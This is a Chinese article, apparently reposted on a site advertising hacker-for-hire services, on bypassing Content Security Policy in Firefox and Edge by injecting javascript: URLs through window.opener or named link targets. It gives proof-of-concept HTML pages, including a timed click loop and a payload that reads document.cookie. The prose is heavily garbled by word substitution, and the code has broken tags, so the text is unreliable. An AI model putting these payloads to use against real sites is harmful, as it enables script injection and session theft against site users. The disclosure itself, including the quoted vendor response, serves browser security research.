Firefox与Edge的dom策略导致的csp bypass问题-黑客接单平台

访客5年前黑客工具1069
在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。 众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下: Content-Security-Policy:sc-src 'self' https://apis.google.com 还有一种便是经过标签进行设置,如下: meta http-equiv="Content-Security-Policy" content="sc-src 'none'"> 我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。 回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(location.href);script> body> html> html> head> title> csp gotitle> head> body> script>parent.window.opener.location = "javascript:alert(location.href);"script> body> html> 把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。 而这在Chrome、Edge、Safiri中是不被答应的 便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html html> head>meta charset="utf-8">head> body> a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea> script> function start() { setInterval(function() { baidu.href="javascript:alert(location.href);"; baidu.click(); }, 5000); } script> body> html> html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> csp bypass body> html> 相同的,这能够绕过火狐的CSP战略 关于这两个缝隙火狐给予了确认,火狐的回复是: On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy. Edge Bug导致存在相同的问题 发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。 go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。 在这种状况下对页面进行改写,能够绕过CSP: 当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug: html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(document.cookie);script> meta http-equiv="Refresh" content="1" /> body> html> html> head> title> csp gotitle> head>[1][2]黑客接单网

相关文章

你的网站是怎样被黑的

前语 这个标题的来历是@evilcos(余弦大大)在Github上共享的一个PPT,感兴趣的能够去他的repo下载。写这篇博客主要是想给自己最近业余时间学到的安全相关的常识做个总结,主要是关于网站常见...

在线破解改了当地破译倘若你确实属实填好这种材料并傻乎乎推送回

在线破解更改了当地破译那类处于被动的破译方法,要是是线上的QQ号码都可以破译,应用领域范围广。但是因为它依然选用穷举法专业技能,因此在枚举类型密匙十位数长短及其种类时,校...

Nmap备忘单:从探究到缝隙使用 Part1

在侦办过程中,信息搜集的初始阶段是扫描。 侦办是什么? 侦办是尽或许多的搜集方针网络的信息。从黑客的视点来看,信息搜集对进犯十分有协助,一般来说能够搜集到以下信息: 电子邮件、端口号、操作体系、运转...

新手攻略:DVWA-1.9全等级教程之Insecure CAPTCHA

现在,最新的DVWA现已更新到1.9版别(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版别,且没有针对DVWA high等级的教程,因而萌发了一个编撰新手教程的主意,过错的...

浏览器进犯结构BeEF Part 5:进犯Web使用与进犯网络

前语 上一章介绍了Tunneling Proxy技能以及怎样运用这项技能来绕过httponly完成高档的会话盗取。本章评论如安在不违背SOP情况下,经过勾连浏览器进犯Web运用与进犯网络。其中有一些进...

装置nginx+ngx_lua支撑WAF防护功用

  nginx lua模块淘宝开发的nginx第三方模块,它能将lua言语嵌入到nginx装备中,然后运用lua就极大增强了nginx的才能.nginx以高并发而闻名,lua脚本简便,两者的调配可谓完...